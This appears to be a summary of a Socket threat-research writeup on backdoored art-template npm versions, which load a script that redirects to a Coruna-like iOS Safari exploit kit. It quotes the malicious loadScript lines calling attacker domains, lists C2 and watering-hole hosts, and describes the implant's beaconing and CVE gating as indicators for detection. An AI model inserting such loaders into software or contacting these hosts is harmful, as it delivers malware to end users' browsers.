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Socket: Coruna Respawned
socket.devwriteup

Socket: Coruna Respawned

Socket's Threat Research team analyzed a repository takeover of the popular npm package art-template, whose versions 4.13.5 and 4.13.6 were backdoored to inject a script loader (v3.jiathis[.]com) that redirects through a watering hole to a Safari/iOS browser exploit delivery framework nearly identical to Google's previously-reported Coruna exploit kit. The writeup provides a full multi-layer deobfuscation of the implant (UTF-16 packing, base64/eval chains, per-string XOR), maps its version-gated payload flags to specific WebKit CVEs (CVE-2021-30952, CVE-2022-48503, CVE-2023-43000, CVE-2024-23222), documents WASM-based JIT fingerprinting/anti-bot probes and CPU-architecture discrimination, and links the campaign to threat actor UNC6691 via content-addressed URL scheme, YARA matches, and C2 domain patterns, ending with concrete detection recommendations and IOCs.

TL;DR A backdoored art-template npm package silently loaded a Coruna-derivative iOS Safari exploit kit via a watering-hole chain, exploiting WebKit CVEs up to CVE-2024-23222 and linked to threat actor UNC6691.
Document

What it is

A supply-chain compromise of the npm package art-template (a JavaScript templating library originally by aui), disclosed by Socket on May 20th, 2026. After a maintainer handoff to an unknown actor, versions 4.13.3, 4.13.5, and 4.13.6 were backdoored to inject a browser-side remote-script loader into lib/template-web.js, ultimately delivering a Coruna-style iOS Safari exploit kit.

How it works

The injection escalated across versions — useful for scoping which releases to fear:

  • 4.13.3: String.fromCharCode-encoded loader pointing to git.youzzjizz[.]com/git.js.
  • 4.13.5: plaintext loadScript('https://v3.jiathis[.]com/code/jia.js?uid=artemplate').
  • 4.13.6: plaintext loadScript('https://v3.jiathis[.]com/code/art.js').

v3.jiathis[.]com redirects to the watering hole utaq[.]cfww[.]shop/gooll/gooll.html, which serves the implant (49554fde7424c31c.js). On load it beacons the victim's public IP, iOS version string, and a campaign code to C2 l1ewsu3yjkqeroy[.]xyz every 10 seconds, runs five anti-bot/anti-automation fingerprinting layers plus an inline WASM proof-of-work, then fetches a version-gated payload.

Preconditions / Affected

  • Any application that bundled art-template 4.13.5 or 4.13.6 into a browser build — the loader executes in every end user's browser, enabling cookie/localStorage theft, form hijacking, and redirects even before exploitation.
  • Exploit targets Safari on iOS 11.0–17.2 only. Primary target population: iOS 16.6–17.2 (Sept 2022–Dec 2023), covering most non-auto-updating iPhones. macOS Safari is partially targeted.
  • Inert on Chrome/Firefox/Edge (hard-thrown on non-WebKit UA), Android, iOS <11.0, and iOS 17.3+ (payload flag explicitly reset to false at threshold 170300 — consistent with a patched CVE boundary).

What to do

The page states no patch or command, but the IOCs are the actionable payload:

  • Audit dependency trees for art-template@4.13.3, 4.13.5, 4.13.6; pin below or above these.
  • Grep browser bundles / lib/template-web.js for loadScript( calls to v3.jiathis[.]com or git.youzzjizz[.]com.
  • Block/alert on domains: git.youzzjizz[.]com, v3.jiathis[.]com, utaq[.]cfww[.]shop, and C2 l1ewsu3yjkqeroy[.]xyz.

Caveats

Socket frames the exploit-kit attribution as inference: CPU-arch discrimination (CPU_TYPE_ARM64 vs CPU_TYPE_ARM64_32), version-specific WASM memory offsets (rvXShf values 72/16/64/88/96), and JIT-output verification are cited as consistent with JIT-corruption exploit gating rather than confirmed exploitation — Socket did not recover or detonate the final exploit payloads. macOS Safari support is described as "partial," with differing fingerprinting.

Organisations named here

  • G_Hunting_Exploit_MapJoinEncoder_1
  • Google Threat Intelligence Group

CVEs named here

  • CVE-2021-30952
  • CVE-2022-48503
  • CVE-2023-43000
  • CVE-2024-23222

Technologies named here

  • Socket Threat Research
  • art-template
  • iOS Safari
  • GTIG YARA rule
  • MDM
  • macOS Safari
  • Safe Browsing
  • npm
  • iOS
  • JavaScript
  • Safari
  • YARA

Techniques named here

  • Watering-hole attack
  • Progressive obfuscation escalation
  • Multi-layer JavaScript obfuscation
  • Content-addressed remote module loading
  • Browser/OS gating
  • CPU architecture discrimination via WASM heap probing
  • Anti-bot/anti-automation fingerprinting
  • WebAssembly JIT proof-of-work / integrity challenge
  • Persistent IP/device beaconing
  • Version-banded exploit chain selection
  • Chip-specific exploit primitive dispatch

Threat actors named here

  • Coruna
  • UNC6691
  • Unknown actor